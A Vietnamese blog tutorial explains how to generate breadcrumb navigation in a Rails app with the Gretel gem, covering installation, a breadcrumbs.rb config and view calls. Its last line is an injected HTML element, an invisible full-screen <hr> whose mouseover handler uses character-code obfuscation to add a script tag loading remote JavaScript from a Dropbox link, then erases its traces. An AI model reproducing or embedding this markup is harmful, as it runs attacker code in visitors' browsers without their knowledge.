Tạo Breadcrumbs cho trang web với Gem Gretel

Nói nôm na nó chính là phần tô màu vàng.

Thực chất breadcrumbs là 1 danh sách các links (thẻ a).

Mỗi thẻ a thường link đến 1 trang nào đó trong website của mình.

Thực chất, Bạn có thể tạo breadcrumbs bằng cách tạo ra 1 danh sách các links ở trên mỗi view bạn viết.

Nhưng nếu làm vậy thì không cần phải đọc bài viết này nữa và người ta cũng không tạo ra gem Gretel để làm gì.

I. Hãy cùng tìm hiểu về gem Gretel

Chúng ta hãy cùng nhau tìm hiểu qua bài viết này.

Trước hết ta có bối cảnh như sau:

Bảng users lưu trữ các thông tin về các users (có các attributes là job, name)

Trang user#index để hiển thị danh sách các user. Với breadcrumb là

 HOME > users

Trang user#show để hiển thị chi tiết về 1 user.

 HOME > users > student > alice

 HOME > users > teacher > bob

Mục đích cần làm là tạo ra các breadcrumb tương ứng trên các view của các trang đó.

HOME => đưa về root
users => đưa đến users#index
student => đưa đến users#index với param job=student

Vậy cần phải có code để xử lý logic cho các trường hợp này.

1. Có nên đưa vào model không

Dĩ nhiên là không, cả 2 trang đều quản lý resource User. Đưa logic hiển thị breadcrumb vào model đương nhiên là không hợp lý.

2. Có nên đưa vào controller không

Có thể được nhưng không hợp lý lắm. controller phụ trách tìm ra resource User trong DataBase, việc khai thác resource nên xử lý ở view

3. có nên đưa vào helper không

Không nên vì mỗi 1 trang đều có logic riêng để hiển thị breadcrumb, không thể định nghĩa ra n method để phục vụ cho n view được

4. có nên đưa vào view không

Có vẻ hợp lý, vì mỗi view đều có logic hiển thị breadcrumb riêng. Tuy nhiên sẽ vất vả để kế thừa các logic từ các view khác.

5. Câu trả lời

Sử dụng gem gretel. Tất cả logic sẽ được đưa hết vào 1 file config breadcrumbs.rb. Có thể tận dụng logic đã viết trước đó.

II. Implement

Cài đặt

gem "gretel"
bundle
rails generate gretel:install

Định nghĩa logic trong breadcrumbs.rb

crumb :root do
  link "Home", root_path
end

crumb :users do
  link "users", users_path
  parent :root
end

crumb :job do |job|
  link t(".#{job}"), users_path(params: {job: job})
  parent :users
end

crumb :user do |user|
  link user.name , user
  parent :job
end

Sử dụng trong view: usersindex.html.erb

<% breadcrumb (param[:job] || :users).to_sym %>

usersshow.html.erb

<% breadcrumb :user ,@user %>

Như vậy chúng ta đã implement gem gretel để tạo breadcrumb cho các view. Nếu logic breadcrumb có thay đổi ta chỉ cần config lại rule trong breadcrumbs.rb

Tham khảo:

https://github.com/lassebunk/gretel

https://www.sitepoint.com/breadcrumbs-rails-gretel/

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">